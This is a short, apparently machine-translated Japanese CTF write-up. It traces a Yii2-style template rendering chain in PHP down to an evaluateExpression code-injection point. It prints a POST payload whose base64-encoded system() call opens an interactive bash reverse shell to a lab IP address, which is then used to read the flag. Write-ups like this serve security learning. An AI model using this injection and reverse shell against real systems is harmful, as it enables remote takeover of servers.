ホームページコードのロジックは、クラスの下にクラスファイルを自動的にロードしてから、クラスを動的に呼び出してメンバー変数を設定することです。最後に、クラスのrun()メソッドが呼び出されます。
umlクラス図を見ると、実際には、インスタンス化するクラスが大まかにいくつかあります。TestView
これらのクラスファイルの内容を見ると、ページテンプレート生成コードがYII2フレームワークのテンプレートレンダリングに従って抽出されたメインロジックであることが明らかです。
基本クラスで、最初に脆弱性を見つけます
次に、呼び出しチェーンに移動し、ListViewクラスでrun()メソッドを検索します
次に、renderContentに従って、クラスのrenderSectionメソッドを呼び出します。$ this-> templateは{test}の形式である必要があり、定期的に照合され、renderSection関数が呼び出されます。
renderSection関数はメソッド名を連結し、メソッドを呼び出します。$matches[1]
コンテンツは$this->template
変数{}のコンテンツです。
次の関数呼び出しは単純です。つまり、いくつかの変数を割り当て、最後にevaluateExpression()関数を呼び出して関数の実行ポイントに到達します。
/?action=TestView
#POST传参
properties[rowHtmlOptionsExpression]=system("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'")&properties[template]={
TableBody}&properties[data][0]=111
シェルを直接バウンスし、flag.txtを読み取って権限がないことを示します。ls-l/シェルを確認し、/readflagを使用して読み取ります。